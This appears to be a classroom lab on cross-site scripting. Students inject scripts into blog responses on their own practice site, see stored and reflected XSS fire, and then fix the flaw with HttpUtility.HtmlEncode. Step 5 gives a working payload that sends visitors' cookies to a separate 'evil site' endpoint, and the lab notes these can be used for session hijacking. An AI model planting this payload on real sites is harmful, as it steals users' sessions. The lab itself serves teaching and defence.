A3 Cross-Site Scripting Lab

Let’s see if we can run a cross-site scripting attack against our own site and then learn how to protect against it.

Testing for a vulnerability

1. Run your website in a browser and visit the blog. Enter a response in to one of those blog entries. Pick a blog entry and respond kind of like so:

```
That is a <strong>great</strong> point!
```

Easy, right? Notice that your response not only appears on the response page but also on the blog page itself. And the word "great" is bolded because we allowed some HTML formatting.

2. Now, inject a little XSS in there. Put this into another blog response:

```
<script>alert('hello world');</script>
```

3. What happens? ________________________________ This is a *reflected* XSS attack.
4. Now go back to the main blog page. Whoa! Your script fires there, too. This is a *stored* XSS attack.

Mounting the attack

Now that we know that the site is vulnerable to a XSS attack, let's do something a bit more … interesting. Oh sure, we could put in the protection to protect against our simple little alert box, but let's look at a quick demo of some damage that could really be done.

5. Enter the following html into a new blog response:

```
Very cool!
<script>$.get('http://localhost:8888/StealCookies.aspx?Cookie=' +
escape(document.cookie));</script>
Congrats!
```

6. Save your "blog response" by clicking the button.

Your attack is ready for a victim. Anyone who visits the site from now on will have all of their cookies written to a file the evil hacker has on his evil site. (Insert maniacal laughter here). Now let's pretend to be the victim.

7. Open a new browser window and log in as another user.
8. As that other user, browse to the blog page.
9. In the browser window or any other, navigate to http://localhost:8888/cookies.txt You should see the victim's cookies in there.

This list of cookies will be appended to by every user that goes to our blog page. The hacker can then use those cookies for all kinds of evil things like session hijacking.

Bonus! If you want to see how the attack works on the receiving end, take a look in the evil site's root for a page called StealCookies.aspx. Look at the page's load event to see what it does with the cookies.

Hardening the site – encoding output

The site is already corrupted so let's see how to protect our site through encoding.

10. Find where we're writing each of the blog responses on the Blog.aspx.cs page. Before you write it to the the page, encode it with HttpUtility.HtmlEncode(). This will convert all the dangerous tags to harmless text. Do something like this:

```
newCleanString = HttpUtility.HtmlEncode(oldDangerousString);
```

    Of course, change those string names. That isn't verbatim code above. It is just an example.
11. Run the site and navigate to the page.

When you have not only prevented the script from running but also exposed the attack on the page, you can be finished.